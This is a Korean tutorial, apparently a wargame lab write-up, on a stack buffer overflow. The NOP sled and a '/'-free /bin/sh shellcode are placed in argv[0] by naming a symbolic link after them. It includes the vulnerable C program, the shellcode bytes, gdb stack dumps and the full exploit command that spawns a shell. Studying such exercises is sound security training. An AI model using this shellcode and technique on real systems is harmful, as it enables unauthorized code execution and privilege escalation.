C언어에는 main 함수의 매개 변수가 있는데, int argc와 char *argv[]가 있습니다.
int argc
main 함수에 전달되는 인자의 개수를 의미
char *argv[]
argv[0] ⇒ 프로그램의 실행 경로
argv[1], argv[2], argv[3] ........ ⇒ main 함수에 전달할 문자열
오버플로우 공격을 할 때 main 함수의 매개 변수에 NOP + shellcode를 저장해야 할 때가 있는데, 보통 프로그램 실행 시 인자 값으로 전달할 수 있는 argv[1]이나 argv[2]에 저장을 합니다.
하지만 심볼릭 링크를 사용하면 argv[0]에도 NOP + shellcode를 저장할 수 있습니다.
심볼릭 링크를 걸었을 때 argv[0]이 어떻게 변하는지 확인해보면
// test.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[0]) {
int length = strlen(argv[0]);
printf("length = %d\n", length);
printf("argv[0] = %s\n", argv[0]);
}
$ ln -s test `python -c 'print "A"*20'`
$ ~/AAAAAAAAAAAAAAAAAAAA
length = 34
argv[0] = /home/darkelf/AAAAAAAAAAAAAAAAAAAA
심볼릭 링크명이 argv[0] 뒤에 가서 그대로 붙습니다.
만약 NOP+shellcode라는 이름으로 target 파일에 심볼릭 링크를 걸수 있으면 argv[0]을 NOP+shellcode로 만들 수 있을 것입니다.
예제를 만들어서 실습을 해보겠습니다.
// vul.c
#include <stdio.h>
int main(int argc, char *argv[]) {
char buf[100];
strcpy(buf, argv[1]);
return 0;
}
strpcy() 함수로 인해 버퍼 오버플로우가 발생합니다.
심볼릭 링크를 이용해서 argv[0]의 값을 NOP + shellcode로 수정해보면
$ ln -s vul `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
ln: cannot create symbolic link `1?h//shh/bin?S?柰
?' to `vul': No such file or directory
No such file or directory 에러가 발생합니다.
shellcode에서 \x2f가 /로 읽혀서 발생하는 오류라고 합니다.
$ ln -s troll ab/c
ln: cannot create symbolic link `ab/c' to `troll': No such file or directory
한번 /가 들어간 이름으로 심볼릭 링크를 생성해보면 동일한 에러가 발생하는 것을 확인할 수 있습니다.
해결 방법은 \x2f가 포함되지 않은 shellcode를 사용하면 된다고 합니다.
# \x2f가 포함 되지 않은 shellcode
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
\x2f가 포함되지 않은 shellcode로 심볼릭 링크를 생성해보면
$ ln -s vul `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
$ ls
vul
vul.c
?????????????????????????????????????????????????????????????????????????????????????????????????????^1??l????u楕?凹2?i00tii0cjo??T????
오류 없이 잘 생성됩니다.
이제 gdb로 메모리 구조를 분석해보면
0x80483d0 <main>: push %ebp
0x80483d1 <main+1>: mov %ebp,%esp
0x80483d3 <main+3>: sub %esp,100 // 100 Byte 크기의 공간 할당
0x80483d6 <main+6>: mov %eax,DWORD PTR [%ebp+12]
0x80483d9 <main+9>: add %eax,4
0x80483dc <main+12>: mov %edx,DWORD PTR [%eax]
0x80483de <main+14>: push %edx // push argv[1]
0x80483df <main+15>: lea %eax,[%ebp-100]
0x80483e2 <main+18>: push %eax // push buffer
0x80483e3 <main+19>: call 0x8048308 <strcpy> // strcpy(buffer, argv[1])
0x80483e8 <main+24>: add %esp,8
argv[0] ← NOP[100] + shellcode[48]
argv[1] ← NOP[104] + argv[0]'s Addr[4]
를 넣어서 위에 스택 그림대로 공격을 해보겠습니다.
먼저 core dump를 해서 argv[0]의 주소를 찾아보면
[orge@localhost /tmp]$ ./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*108'`
Segmentation fault (core dumped)
[orge@localhost /tmp]$ gdb -c core -q
Core was generated by `./'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) x/100x $esp
0xbffff910: 0x00000000 0xbffff954 0xbffff960 0x40013868
0xbffff920: 0x00000002 0x08048320 0x00000000 0x08048341
0xbffff930: 0x080483d0 0x00000002 0xbffff954 0x08048298
0xbffff940: 0x0804842c 0x4000ae60 0xbffff94c 0x40013e90
0xbffff950: 0x00000002 0xbffffa4c 0xbffffae3 0x00000000
0xbffff960: 0xbffffb50 0xbffffb59 0xbffffb78 0xbffffb9a
0xbffff970: 0xbffffba4 0xbffffd67 0xbffffd86 0xbffffda0
0xbffff980: 0xbffffdb5 0xbffffdd1 0xbffffddc 0xbffffdf5
0xbffff990: 0xbffffe02 0xbffffe0a 0xbffffe1b 0xbffffe25
0xbffff9a0: 0xbffffe33 0xbffffe44 0xbffffe52 0xbffffe5d
0xbffff9b0: 0xbffffe6d 0xbffffeba 0xbfffff53 0x00000000
0xbffff9c0: 0x00000003 0x08048034 0x00000004 0x00000020
0xbffff9d0: 0x00000005 0x00000006 0x00000006 0x00001000
0xbffff9e0: 0x00000007 0x40000000 0x00000008 0x00000000
0xbffff9f0: 0x00000009 0x08048320 0x0000000b 0x000001fb
0xbffffa00: 0x0000000c 0x000001fb 0x0000000d 0x000001fb
0xbffffa10: 0x0000000e 0x000001fb 0x00000010 0x0f8bfbff
0xbffffa20: 0x0000000f 0xbffffa47 0x00000000 0x00000000
0xbffffa30: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffa40: 0x00000000 0x69000000 0x00363836 0x90902f2e
0xbffffa50: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa60: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa70: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa80: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa90: 0x90909090 0x90909090 0x90909090 0x90909090
argv[0]의 주소는 대략 0xbffffa60가 되고 리틀 엔디안 방식으로 변환해보면 \x60\xfa\xff\xbf가 됩니다.
이제 exploit code를 짜 보면
argv[0] ← NOP[100] + shellcode[48]
argv[1] ← NOP[104] + argv[0]의 주소
심볼릭 링크, NOP[104] + argv[0]의 주소
`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*104+"\x60\xfa\xff\xbf"'`
익스플로잇 코드를 실행시켜보면
$ ./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "A"*104+"\x60\xfa\xff\xbf"'`
bash$
공격에 성공해서 쉘이 떴습니다.